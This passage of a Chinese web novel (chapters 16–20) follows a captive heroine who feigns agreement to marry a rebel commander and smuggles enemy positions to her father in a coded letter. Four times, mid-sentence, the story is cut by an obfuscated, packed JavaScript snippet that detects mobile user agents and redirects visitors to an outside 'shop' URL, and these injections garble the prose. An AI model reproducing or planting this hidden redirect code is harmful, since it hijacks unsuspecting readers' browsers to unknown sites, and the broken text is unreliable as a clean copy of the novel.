若不是石红玉自己犯蠢冲阵被擒,就凭贺连川的出身和性子,哪有机会遇上这等品貌家世的姑娘。 他缓步上前,寻了个凳子坐下,温声道:“可是饭菜不合姑娘胃口?” 他态度和蔼,有明显示好之意。 苗悦心中一动,看来燕钊说的不错,自己的计策,成功一半了。 她保持警惕,焦急地问:“昨夜发生什么事了?我爹到底怎么了?!” “姑娘放心。”高世衡笑道,“昨夜石大当家一人来营,不曾通报,又寻错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16795308|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向,被弩手误伤。好在大当家福大命大,已被程铁牛他们救回,眼下定已平安返回临峣城了。” 听闻父亲受伤,苗悦眼泪涌了上来。 “都怪我……”她声音哽咽,“要不是我莽撞,爹也不会为救我受这样的罪……我不想活了!贺连川不是说要杀我祭旗吗?你们动手啊!给我个痛快!” 她又哭又叫,情绪激动。 高世衡见状,连忙摆手:“姑娘言重了!大帅昨夜说的都是气话,当不得真。真要伤你,这几日怎会给你吃喝?” 苗悦抬起泪眼:“可你们明明说,限我爹三日內开城投降,否则就杀了我。” “不过是一时意气用事的浑话。”高世衡笑道,“姑娘有所不知,我们卢宁军原本是朝廷的正规边军,弟兄们也都是正经的军户出身,被朝廷欠饷逼得活不下去了,才不得不走这一步。说到底,只是为了有口饭吃,与铁屏寨的众位好汉并无不同。” 苗悦语气软下来,抽抽搭搭道:“这几日我也看出来了,高将军和贺大帅都是讲道理的体面人,待我也算周全。卢宁军与铁屏寨本该做兄弟的,却因种种误会造成今日僵局,当真可惜。” 她一边说,一边流下泪,肩膀微微抽动,将一个担惊受怕又追悔莫及的模样演得十足。 “我落到今日这地步,是我自作自受,怨不得别人。只希望在临死前,能给我爹爹去封信,知道他平安……我也就死而无憾了。” 燕钊目光低垂,眉梢几不可察地动了一下。 如此识大体顾大局的石红玉,与从前判若两人。可那眉宇间的倔强,偶尔闪过的不甘,又分明是石红玉的模样。 当真是经历生死,让人一夜长大? 高世衡看着石红玉身处敌营却仍记挂父亲安危的模样,心中不免触动。 他原以为这只是一个被宠坏了的刁蛮千金,不想经此一劫,竟显出这般懂事与孝心,倒是让他刮目相看。 他语气更缓和了些:“我们卢宁军向来只求财,不伤人。” 他看向燕钊:“还愣着干什么,给石姑娘松绑。” 燕钊放下盘子,上前解开了绳子。 苗悦活动着酸痛的手腕,故意露出腕上的伤痕。 她对高世衡行礼:“高将军,能否请您派人给我爹送个信,只需告诉他我一切安好,两位将军待我以礼,让他千万保重自身,莫要再为我涉险。大家都是苦命人,本该把酒言欢,有什么话,尽可以商量着来。” “姑娘深明大义,令人敬佩。”高世衡暗喜,面上却迟疑道。“送信之事,高某自然愿意效劳。不过此事还需禀明大帅,得他首肯方可。” 苗悦抬起泪眼,怯生生地问:“那……那我可否见大帅一面?” 高世衡道:“大帅此刻心绪未平,待高某先去代为传话,探探口风。姑娘且宽心,在此静候佳音。” 说完,他意味深长地看了苗悦一眼,转身出了营帐,吩咐士兵们加强守戒。 帐内重归寂静,只剩下苗悦和燕钊。 苗悦松了松僵硬发酸的胳膊,长长舒了口气。 老话说,见面三分情,凭石红玉的样貌,加上自己的演技,还有高世衡助攻,还怕拿不下贺连川。 她瞥了一眼木盘里的食物,忽然伸手,将盘子端到自己面前,然后抬起头,笑着望向燕钊:“现在能吃了吧?” 燕钊退后几步,站在了帐口的阴影里。 17.第 17 章 苗悦终于有了小范围的自由活动空间。 这顶帐篷不大,从这头到那头不过十几步。她走到帐帘边,掀开一道缝,眯眼细看。 帐外至少守着六名持刀士兵,由近及远分了三组,每组两人。 这还只是帐篷正面,其它方向不知道有没有人守着。 高世衡肯给她松绑,便是吃准了她插翅难飞。 苗悦本也没打算逃跑,她知道营地外埋伏着弩兵,硬往外冲,和送死没什么区别。 她在凳子上坐下,看着手腕上磨破的皮肉,伤口边缘红肿,渗出的血丝已经凝固,稍微一动就隐隐作痛。 燕钊端着一只陶碗走了进来。碗里盛着深绿色的糊状物,散发着一股青草气味。 “这是止血草。”他将碗放在苗悦面前,“用来敷伤口。” 苗悦盯着那团黏糊糊的草药,眉头微蹙。这玩意卫生吗?连个清洗消毒都没有。 “没有金疮药吗?”她忍不住问。 燕钊道:“将军帐中自然备着上好的伤药。你可以去向他们讨要。” 苗悦白他一眼,想到什么,又问:“这草哪里来的?” 燕钊说:“营地里就有,我摘的。” 苗悦歪头,思忖道:“你能在这里到处乱走?” 燕钊说:“有限制。” 苗悦眼珠一转,正要开口细问,就听帐外守卫齐声喊道:“大帅!” 她立刻闭上嘴。 帐帘掀开,一道高大的身影走了进来。 来人正是贺连川。 他今日未着全副甲胄,穿了一身暗青色的劲装。没有了盔甲的遮掩,显出挺拔健硕身形。 或许是因为离得近,苗悦第一次仔细看清他的样貌。 高鼻深目,眉骨突出,眼眶比常人深邃几分,有种不同于中原人的硬朗之气,似乎带了异邦血统。 贺连川大步走近,目光直接落在苗悦身上,开门见山:“你要见我?” 苗悦起身,对他盈盈一礼,声音轻柔:“这几日承蒙大帅关照,小女虽为阶下囚,但未曾短缺饮食,也未曾多加为难。此事本是小女鲁莽在先,大帅却能以礼相待,足见大帅虽是英勇威武之人,却心存仁义善念。” 贺连川一怔,有些不习惯被一个小娘子如此直白地戴高帽。 他摸了摸鼻尖,语气缓和了些:“行了,这些虚礼就免了。我知道你想要什么,不就是你爹死活吗。我已命人去打探了,若他真有性命之忧,早就传消息回来了。” 苗悦眼圈瞬间红了,哽咽着:“大帅恩德,小女子没齿难忘!” 她作势要再拜,却因连日捆绑少食,身体虚弱,腿下发软,竟朝着贺连川的方向栽倒过去。 贺连川眼疾手快,一把扶住她胳膊。 虽然没有碰到苗悦手腕伤口,她还是“嘶”地一声,显出痛楚难耐的神情。 贺连川低头看去,只见皓白纤细的手腕上已是皮开肉绽。 他皱眉,沉声道:“怎么伤成这样?” 说着,从怀中取出一个小巧的瓷瓶,塞到苗悦手里:“这个药对外伤极有效,你自己敷吧。” 苗悦没有立刻收回手,任他抓着胳膊,抬起泪眼盈盈的眸子,望着他,轻声道:“多谢大帅。” 贺连川原本对高世衡的提议亦可亦不可,但就在苗悦抬眼望来的那一瞬,看着女孩泪眼朦胧却又强作坚强的模样,他的心忽然漏跳一拍。 一个念头窜入他脑海,若真能娶了她,似乎也不错。 他是个直接了当的人,做事向来不喜欢拖泥带水,此刻觉得主意不错,时机也凑巧,便干脆顺着心意,开口道:“石姑娘,贺某是个粗人,说话不喜拐弯抹角。你我两家继续为敌,不过是两败俱伤,不如化干戈为玉帛。我娶你为妻,临峣城与卢宁军便可合二为一,于我于你爹,都是最好的出路。你觉得呢?” 这话问得太过突然,太过直接。 苗悦猛地抬起头,眼中还噙着未干的泪水,满是惊愕,一时间竟忘了回应。 帐内顿时安静极了。 她觉得自己已经够快了。她通过燕钊向高世衡暗示,灌输“娶石红玉等于得到临峣城”的概念,再亲自示弱卖惨,向高世衡示好,博其同情,进而影响贺连川。 这一套组合拳打下来,在她看来已是兵行险着,甚至担心过于主动会惹人生疑。 毕竟,就算是石红玉这样不拘小节的寨主千金,也没有这般上赶着的道理。 可她万没想到,贺连川比她还直接。 她还在铺垫好感,等待水到渠成,对方却跳过了所有步骤,像谈一笔买卖般,把联姻摊到了桌面上。 连个中间人都不需要。 她原本设想好的后续步骤,如何进一步示好,如何若即若离,如何最终勉强答应,全都派不上用场了。 她飞快瞥了一眼站在旁边的燕钊,却见燕钊也正抬眼看着贺连川,同样带着难以掩饰的惊愕。 不过,燕钊的惊愕只持续了一瞬。他立刻垂下眼帘,将所有情绪收敛得干干净净。 苗悦将胳膊从贺连川的掌中抽出,身体微微晃了晃,做出受惊后体力不支的样子,顺势坐回凳子,别过脸去。 用这短暂的几秒钟空隙,让自己急速思索对策。 片刻后,她转回头,抬起一双犹带泪光的眼睛,直视贺连川,声音微颤。 “大帅昨日还要杀我祭旗,今日却说要娶我。大帅的话,哪一句才是真的?” 贺连川闻言,哼笑一声,抱臂而立。 “昨日要杀你,是因你爹不识抬举,妄想夜袭我的大营。今日要娶你,是因你石红玉有这个价值。我做事,只看何时、何地、何种选择最有利。昨日杀你利大于弊,今日娶你利大于弊。就这么简单。你现在只需要回答我,愿,还是不愿?” 苗悦蹙眉,沉默不语,仿佛在做激烈的思想斗争。 最终她轻轻叹了口气,无奈道:“今日我为鱼肉,你为刀俎。我若不应,两军即刻便要血战,徒增无谓伤亡,我便真成了罪人。眼下这般情形,我是答应也得答应,不答应,也得答应。” 贺连川听得眉头紧锁,困惑道:“说这么多,到底是应了,还是没应?” 苗悦看他一眼,暗骂,这人直得像个棒槌,到底是怎么当上大帅的。 她垂下眼帘,低声道:“……自是应了。” 贺连川没料到她答应得如此干脆,不由一怔,随即嘴角不受控制地向上扬起,连连点头:“应了就好,应了就好!” 见他心情大好,苗悦趁热打铁,委屈道:“大帅须知,寻常人家娶妻,尚需三媒六聘。我石红玉好歹是城主之女,是爹爹捧在手心里长大的,从不曾短缺过分毫。如今这般已是委屈至极,若不能得我爹爹首肯,终究是名不正言不顺。” “这有何难。”贺连川大手一挥,“我立刻修书一封,派人给你爹送去。” 苗悦忙道:“不可!你昨日才伤了他,今日就去信要娶他女儿,他会怎么想?这封信,必须由我亲自来写。” 贺连川眯起眼,审视着她:“你亲自写?莫不是想将我军营布置,透露出去?” 苗悦受了莫大羞辱般,含泪斥道:“我原以为大帅是顶天立地的英雄豪杰,没想到竟也这般猜忌多疑。我被擒至今,连营帐都未曾踏出一步,如何得知你大营方位?再说,我写的信,难道大帅你会不先过目?” 眼泪噗噜噜地掉了下来,苗悦掩面抽泣。 “若大帅并非真心求娶,只是借此算计,不如现在就杀了我祭旗!” 纤细的肩膀轻轻颤动,梨花带雨,楚楚可怜。 贺连川莫名觉得自己理亏,原本的猜疑,在这突如其来的泪水面前,显得小题大做。 “我贺连川既开了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16800217|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自然是真心要娶你。行了行了,信由你来写。” 苗悦闻言,收起眼泪,含羞带怯。 “大帅这般体谅,红玉心中感念。既已应下婚事,从此便是夫妻一体,荣辱与共。” 这番小女儿情态,又与先前倔强刚烈的模样截然不同。 贺连川看得一怔,他常年混迹于行伍,何曾体会过这等欲语还休的婉转风情,心中不由觉得十分新奇,又有些说不清道不明的受用。 他语气不自觉地放软:“婚姻是大事,虽眼下不能立时三媒六聘放你归家,但在这营中,你若有什么需求,直说无妨,只要是我力所能及,必不推辞。” 苗悦道:“大帅既如此说,红玉确有一事,如鲠在喉,不吐不快。” 贺连川戒心又起,沉声道:“讲。” 苗悦抬起头,看向燕钊。 “这人背主求荣,害我爹爹,更在阵前擒我,令我颜面尽失。此人不杀,难泄我心头之恨!” 贺连川略感意外,随即失笑。 到底是年轻识浅,心心念念的,竟只是报复一个无足轻重的小卒,图一时之快。 这般心思单纯,确实容易掌控。 他摇头道:“他来投靠我,我便要护他周全。若因你一言就杀了,日后还有谁敢来归附。换一个。” 苗悦咬了咬唇,恨恨道:“既然不能杀,那就阉了他,让他此生再也抬不起头做人。” 燕钊实在受不了了,看向苗悦。 苗悦朝他挑挑眉。 贺连川哈哈大笑,觉得这小丫头狠辣得别具一格。 “你这要求与杀了他有何分别,不可不可,再换一个。” 苗悦气哼哼地别过脸去:“这也不行,那也不行。你要我有什么要求尽管提,真说出口却又百般推脱,毫无诚意。” 贺连川哄道:“你不就是想出出气吗?这样吧,”他指向燕钊,“成婚前,这个人就归你使唤。什么粗活、累活、脏活,你尽管指派他去做。这样行不行?” 苗悦撇着嘴,不情不愿地松口:“既然大帅这么说,那好吧。” 贺连川满意地转过头,递给燕钊一个安抚的眼神,道:“听见了没有?从今往后,石姑娘的话,就是我的话。” 燕钊闻言,立刻行军礼:“属下明白,全凭石姑娘吩咐。” 苗悦这才笑了,羞答答地看了贺连川一眼。 “其实我从小就想找一个像我爹一样英明神武的大丈夫。可惜我们铁屏寨上下都是粗人,大字不识,我爹看不上。那些和我年纪相仿,读过几日书的,我又看不上。只有像贺将军这般,既能打仗,又读过书的,才能让我爹爹满意。” 贺连川被苗悦哄得很开心,临走又嘱咐燕钊好好伺候。 燕钊送贺连川出帐再回来时,苗悦正拿着那个小瓷瓶,费力地给自己上药。 她两只手腕都伤得不轻,互相牵扯着,动作稍大就疼得钻心。 这疼她本可以忍的,但今时不同往日,她是贺连川亲口承认的“准夫人”,没必要委屈自己。 见燕钊进来,她抬起下巴,道:“过来帮我上药。” 上一回,她作为陈阿大,虽是父亲,对燕钊说话却要陪着小心,整日想着如何修复关系,妄图用亲情去感化他。 这一回,她是横山公主石红玉,是卢宁军“准夫人”,她谁也不想讨好。 燕钊走过来,接过药瓶,拔开塞子将药粉均匀地撒在伤口周围。 “你不是真的想嫁给他吧?”燕钊忽然开口,目光仍专注在伤口上。 苗悦挑眉,一双眸子亮得惊人,狡黠道:“我演技这么好,连你都骗过去了?” 燕钊动作一滞。 苗悦示意他再靠近些。燕钊未作多想,俯身凑近。 苗悦将声音压得很低,气息拂过他的耳畔。 “接下来,我们就这样……” 18.第 18 章 贺连川给的金疮药着实好用。不过一夜,苗悦腕上翻开的皮肉便已收口结痂,只是动作稍大仍会牵扯着疼,提笔写字还不行,给石关山报平安的信,只得再缓上一两日。 虽不能写字,却并不妨碍苗悦琢磨着如何折腾燕钊。 眼下她睡的,是直接铺在潮湿地面上的一堆干草。 苗悦对侍立一旁的燕钊抬了抬下巴:“这堆草我没法睡,你去做张像样的床来。” 燕钊沉默地看她一眼,转身出了营帐。 不多时,他扛着一块不知从何处寻来的厚木板回来了,腋下夹着几圈粗麻绳,手里拿着数条粗细不一的木棍。 他走到帐中空地,将东西放下,当着苗悦的面,用绳子将木板纵横固定,动作迅捷精准,每一个绳结都打得结实利落。 因着用力,他臂膀的肌肉透过衣衫清晰地绷紧、隆起,额角渗出了一层细密的汗珠。 十六岁的少年,身形依然清瘦,但那迥异于十岁时的力量感,已是藏不住了。 不过两刻钟,一张牢固的矮床便已成型。 燕钊将它安置在帐内最干燥平整的位置,又抱来干草铺得厚厚平平,最后用一块洗得发白的旧布铺在上头。 苗悦挑剔地打量了几眼。 床依然简陋,但木板表面被简单地打磨过,摸上去没有木刺,比她预想的要好得多。 这小子动手能力比小时候又强了不知多少。 她动了动鼻尖,随即皱起眉:“一股潮味儿,拿出去晒晒。” 燕钊绷着唇,看眼苗悦,然后走到床边,弯下腰,双臂一较力,竟将整张刚搭好的床抬了起来,将它搬到帐外,放在了日头最好的地方。 苗悦跟着走到帐口,说:“既然你力气这么大,那顺便把里头那些破凳子和桌子也搬出来晒晒吧。” 等那些家具在院中摆开,苗悦又挑剔道:“这边日头不足,那边风口太大,摆在这里像什么样子?挪一挪!” 燕钊一言不发,将沉重的矮床、木凳一件件重新挪动安置。 守门卫兵将这一幕尽收眼底。众人心中皆如明镜一般,这位石大小姐脾气骄纵,燕钊昔日叛出铁屏寨,还亲手擒了她,梁子结得深了。如今她得了势,必会狠狠折腾一番。搬家具算什么,只怕后面还有更累人的。 果不其然,到了晚上,苗悦又有了新名目。 她说自己连日心绪不宁,睡不安稳,听说这附近山林中长着一种安神的野草,非要燕钊立刻去采来。 燕钊趁着夜色提灯出营,在野地里摸索了半宿,直至后半夜,才带着一身露水和满手泥污回来,却被守帐的士兵拦在了帐外。 “石姑娘早已歇下了。”那士兵看好戏般,“有什么事,明日再说吧。” 军营之中,背主之人向来为人不齿,如今受这些折辱,在众人看来也是他咎由自取。 翌日清晨,燕钊将洗净的野草送去,苗悦只瞥了一眼,便嫌叶片蔫黄不新鲜,随手丢在一旁,命他重新去采。 午时,帐中不知从何处飞进一只粉蝶。苗悦大喜,叹营地生活实在枯燥,要燕钊去捕些彩蝶来给她解闷。 深秋时节,哪里去寻那么多蝴蝶。 燕钊在外奔波整日,只捉到寥寥几只,换来苗悦一通责骂。 两日的连番折腾,守卫士兵们都看在眼里,私下交换着心照不宣的眼神。 这位石大小姐对燕钊的磋磨,可真是毫不掩饰。 他们不知道的是,这磋磨马上就落到他们头上了。 这天夜里,苗悦穿着中衣,长发未束,凌乱地披在肩头,赤着双足,掀开帐帘走了出去。 不料,竟与帐外两名持矛守夜的士兵迎面撞个正着。 火光映照下,少女衣衫单薄,赤足散发的情形,让两名士兵一时愣住,慌忙低下头,不敢直视。 “啊——————” 苗悦发出一声惊骇至极的尖叫,在寂静的夜里格外刺耳。 那两名士兵何曾见过这等阵仗,顿时手足无措,僵在原地。 贺连川与高世衡闻声匆匆赶来,踏入帐内时,只见苗悦伏在桌面上,肩头剧烈耸动,哭得撕心裂肺。 她衣衫倒是完整,只是长发凌乱,模样凄惨可怜。 “怎么回事?!”贺连川眉头紧锁,呵问那两名士兵。 那两人面如土色,惊慌跪地。 苗悦抬起泪痕斑驳的脸,哽咽道:“我觉得帐中闷热,想出去透口气……谁知,谁知他们两个就站在帘子外,离得那么近!” 她一抽一抽地。 “我自幼便知女子名节重于性命,如今营帐外日夜守着这许多男子,叫我日后如何做人!” 她越说越伤心,又伏下去痛哭起来。 贺连川松了一口气,一时觉得她有些小题大做,军营之中哪来这么多讲究,但转念一想,她如此看重名节,说明家教严谨,心中不免又生出几分欢喜。 高世衡察言观色,上前一步,对着两名士兵厉声斥责:“混账东西!只是让你们在外护卫石姑娘周全,谁准你们站得这么近。惊扰了姑娘,该当何罪!下去各领二十军棍。” 斥退士兵后,他又转向苗悦,温言道:“此事实是我考虑不周,让你受委屈了。你看这样如何?从今夜起,守卫皆退至营帐一丈开外值守,绝不再靠近帐门半步。为了姑娘的安全着想,守卫人手还需保留,望姑娘体谅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16810561|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苗悦看向贺连川。 贺连川沉吟片刻,点头应允:“就依老高所言。” 守卫退远些,全了姑娘家的颜面,大不了在树上埋伏两名弩手,料想也出不了岔子。 苗悦这才止住哭声,轻轻点了点头。 高世衡见状,心知这是难得的时机,便拱手道:“大帅,属下还有事,先行告退。” 贺连川抬步:“一起走吧。” 高世衡在他肩头猛推一把,贺连川一个踉跄又回到帐中。 高世衡道:“石姑娘受惊不小,大帅好生安抚。” 说罢,不待贺连川回应,便退了出去,还顺手将帐帘掩紧。 贺连川尴尬地站定,看着仍在抹泪的苗悦,搜肠刮肚,最后干咳一声。 “今晚这事,是下头人没规矩,你放心,以后绝不会再有这种事。说一丈外就是一丈外,谁敢再靠近,老子打断他的腿。” 苗悦抬起泪眼,依赖地望向他,轻声道:“大帅的话,红玉自然是信的。” 贺连川见她这般情态,心中受用,嘿嘿一笑,挠了挠脑袋,目光落在她手腕上,又找到了话题。 “你的伤,好些没?那个药很好用,一般这种小伤一天就好。” “好多了,多谢大帅挂心。”苗悦低声答。 “那就好,那就好。”贺连川点点头,“既如此,你就快点给你爹写信吧,早点把事情定下来。” 苗悦僵了下,嗔怪道:“大帅心心念念的,只有临峣城吧。” 贺连川坦率道:“我想进临峣城是真,想娶你也是真,这两件事,本就一体,有什么不对?” 苗悦道:“大帅放心,明日我便给爹爹写信。我虽不敢担保成亲后必定如何,但我爹疼我,银钱嫁妆上,断不会亏待了我。”她顿了顿,抬眼望向他,羞怯道,“只要大帅与我同心,红玉别无他求。” 贺连川心头一热,脱口赞道:“你……你这样儿,真好看。” 苗悦嗔道:“大帅这是拿我取笑呢。” “我说的都是实话。”贺连川着急地辩解,“怎么是取笑?” 苗悦忍俊不禁,觉得这人直愣得有些好笑。 “好了,大帅,快回去吧,我要歇息了。” 贺连川见她笑了,心情也松快起来,应了一声,转身大步离去。 苗悦站在帐口,目送着贺连川身影消失,视线不着痕迹地向四周扫视了一圈。 那些原本紧挨着营帐站岗的士兵,此刻都退到了一丈开外,在远处火把光晕的边缘站成了几个模糊的黑影。 苗悦弯唇,退回帐内。 日后与燕钊说话,不必再担心隔墙有耳了。 19.第 19 章 第二日,石红玉写给石关山的第一封信送到贺连川手中。 贺连川原本神色平静,看着看着嘴角竟扬起来,明明愉悦却又试图保持威严,待信看完,眼中已满是得意。 他将信纸递给高世衡,语气舒畅:“这丫头,总算说了几句明白话。” 高世衡纳闷地接过信,低头细看,只见石红玉一手字勉强算得端正,也有几分娟秀,只是笔力虚浮,实在上不得台面。 山匪的女儿,能写成这样,多理解吧。 “女儿鲁莽,致陷敌手,累父亲忧心,实是不孝。然请父亲万勿挂怀,此间一切,实出意料。卢宁军上下待女儿颇为礼遇,饮食起居,并无短缺苛待,贺连川将军更是明令约束,女儿日饮漱玉涧水,在此十分安稳。 只是营中伙食粗粝,终日面饼寡淡,肉食罕见,远不及家中滋味。女儿每每下咽,便分外思念寨中厨房的烟火气。若得方便,恳请爹爹差人送些米面肉蔬来,倘能再遣一位熟知女儿口味的火夫随行,则更慰心怀。 女儿每每思及自身任性累及爹爹,便羞愧难当,恳请爹爹万万以自身为重,切莫再为女儿行险,若爹爹因女儿而有丝毫闪失,女儿百死莫赎。 后厩那匹新得的雪蹄小马驹一线天,若得方便,还请父亲嘱咐马夫,每日晨光初起与正午时分,记得为它添上四十勺豆粕。 连日来,女儿冷眼旁观,贺连川其人,虽出身行伍,然行事自有章法,治军严明,待下亦称得上宽厚。更难得的是,其人性情直率,并非心怀鬼蜮之辈。女儿经此一劫,方知往日识见浅薄,心思亦有不同。 若终身有托,能得一如此磊落男儿,或许亦是幸事。然婚姻大事,非比儿戏,女儿深知其中利害,一切但凭父亲与二位叔叔做主。” 高世衡露出了然的笑容,附和道:“大帅英雄气概,石姑娘聪慧,日久自然心生钦慕。此信一出,石关山那边,想必也会重新权衡。” 贺连川满意地点点头:“看来,此事成矣。” 高世衡道:“只是米面粮油可,伙夫就免了吧。” 他提笔将伙夫一句划去,命人将信送走,随即又想起一事。 “石红玉对陈狗娃折腾得太过分了,营中上下都瞧在眼里。这事儿传出去,影响可不好,依我看,还是得稍微管管。” 贺连川摆手:“我答应她了,总不好反复,一个姑娘家再折腾能折腾到哪去。” “正因如此才更要管。若连自己营中都约束不住,任由未来的夫人凭私怨肆意妄为,传出去岂不让人笑话。况且,陈狗娃终究是投诚过来的人。寒了他的心,往后谁还敢来归附?由你出面稍作调停,既全了你的威信,也让石姑娘知道分寸,才是长久之计。” 贺连川摸着下巴:“你说得在理,回头我去说说她。还有,你私下告诉狗娃,让他咬牙忍着,这笔账,老子日后补给他。” 高世衡心领神会,赞道:“大帅英明!” 这天夜里,临峣城议事厅,几位当家连同寨中核心人物齐聚一堂。 信在众人手中传阅,厅内一时寂静。 三当家何文远最先开口,疑惑道:“大哥,这……这真是红玉的字?” 石关山眉头紧锁,仔细端详,片刻叹了口气:“唉,是有好几年没正经见她写过字了。女孩子家的字迹有变化,也属寻常。只是这信中的内容……”他顿了顿,眉头皱得更深,“着实古怪。” 程铁牛性急,猛地一拍桌子:“这信定是那贺连川逼着红玉写的!什么‘漱玉涧’、‘雪蹄马驹’,尽是些胡言乱语,想扰乱我们心神。” “不对。”何文远摇头,“若是作假,必会写些我们熟知的、易于取信的内容。可这‘漱玉涧’、‘一线天’,你我谁曾听过?还有后厩何时有过‘雪蹄小马驹’?这些莫名之物出现在信中,反倒显得刻意,像是……像是在向我们传递某种信息。” 石关山抬头:“文远说得在理,红玉定然是想告诉我们什么。都别愣着,仔细琢磨琢磨,这‘一线天’究竟是个什么东西?” 坐在角落沉默不语的程虎,忽然“啊”了一声,引得众人侧目。 他挠着头,不太确定地说:“我好像,好像有点印象。以前听寨里巡山小队那帮小子闲聊时,似乎提过‘一线天’这个词……” “巡山小队?”何文远精神一振,“陈狗娃也在卢宁军,他定是和红玉在一起,这信或许不全是红玉所写。” 石关山朝外面喊:“去把杨溪叫来!” 不多时,一个精干利落的少年人被引了进来,正是巡城小队副队长杨溪。 他虽不知何事,但见厅内气氛凝重,各位当家目光灼灼,不由得屏息。 石关山问:“巡城小队中可有‘雪蹄小马驹’?” 杨溪茫然:“从不曾听说。” 何文远又问:“那‘漱玉涧’、‘一线天’,你可知道?” 杨溪露出恍然之色,连忙点头:“回三当家,‘漱玉涧’和‘一线天’确是有的!就是老屏山中。” 程铁牛瞪大眼睛:“老子在老屏山几十年,怎不知有这些地方?” 杨溪道:“回二当家,都是咱们小队自己起的浑名,平日里叫顺口了。‘漱玉涧’是后山一处水塘,阳光晒后水温热,属下常在那洗澡,漱玉……”他不好意思道,“漱玉是我村里的姑娘,我觉得名字好听,就用了。” 程铁牛又问:“那一线天是什么?” 杨溪道:“一线天是进山隘口处一道极窄的石缝,抬头只见一线天光。队长常说那地方险要,若是被外人摸进来就麻烦了,得派弓弩手守着才好。” 石关山猛地一拍大腿:“对对对,狗娃是跟我提过,说一线天那块必须布防。” 何文远眼中光芒大盛,急道:“取老屏山的地图来。杨溪,你来指给我们看,‘漱玉涧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16814475|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’和‘一线天’究竟在何处?” 地图铺开,杨溪熟练地在图上标出位置。 当老屏山的地图与众人心中的临峣城周边地形逐渐重叠时,何文远的手指猛地停在某个点上,声音因激动而微微发颤。 “我明白了。‘日饮漱玉涧水’,红玉是在告诉我们,卢宁军大营的方位,相对于临峣城,就如同‘漱玉涧’在老屏山上的方位!” 他手指重重一点:“是西边!卢宁军的大营,根本不在他们日常叫阵的南门方向,而是扎在了临峣城的正西边。” 石关山一把抓过信纸,再看那句“晨光初起与正午时分,添上四十勺豆粕”,顿时豁然开朗:“晨光东升,正午南照,东、南两处‘一线天’,各布有四十名弩手。红玉这是把敌人的布防都摸清了。” 何文远道:“红玉被抓不过四五日,定被牢牢看守着,不可能摸得清这些,必是狗娃,他俩在一起。狗娃没有背叛我们,苦肉计还在进行。” 想通了关节要害,众人兴致大涨,纷纷围拢过来,细细研究。 过了两日,贺连川拿到石关山的回信。 开篇可谓火药味十足。石关山毫不客气地质问贺连川是否用了胁迫手段才让女儿写下那些倾慕之词,警告他莫要失了英雄气概,行下作之事。 信到中段提及军中伙食粗粝,石关山语气一转,言语间流露出纯粹的心疼。 他表示,无论信中所言是真是假,他都不愿女儿在营中受苦,因此决定向卢宁军赠送一批米面粮油肉食等补给。 但这馈赠并非无条件的。石关山要求赠送补给时必须让石红玉本人现身,亲眼确认女儿平安后,才会交付物资。并强调,若连这最基本的要求都无法满足,便证明贺连川毫无诚意,所议一切皆作罢。 在信的末尾,石关山告诉红玉,家中一切安好,“一线天”日日早中准时添加“四十勺豆粕”,从未短缺,让女儿不必为家中琐事担忧,安心照顾好自己。 贺连川带着这封软硬兼施的回信,来到苗悦营帐所在的院子。 甫一踏入,他便瞧见燕钊正费力地搬动一块足有磨盘大小的石头。 贺连川眉头一皱,喝问道:“你这是在做什么?” 燕钊放下石头,行礼回道:“回大帅,石姑娘吩咐,需用四楞见方的石头在院中摆出阵法,说是……有利于夫妻和睦,家宅兴旺。” 贺连川一听,本能地觉得这是无稽之谈,可“夫妻和睦,家宅兴旺”这八个字,却又像羽毛般轻轻搔过他心头。 他左右瞥了一眼,见远处守卫的士兵都偷偷朝这边张望,顿时觉得失了颜面,却又不好发作,冷哼一声,转身进了帐内。 苗悦正坐在桌前,见他进来,展颜一笑,唤道:“大帅来了!” 这一笑宛如春水解冻,顿时让贺连川心头那点不快烟消云散。 搬几块石头算什么,由她高兴吧。 20.第 20 章 贺连川将石关山的回信放在桌上:“你爹回信了。” 苗悦拆开来,仔细看完,再抬起头时,眼中已盈满泪水。 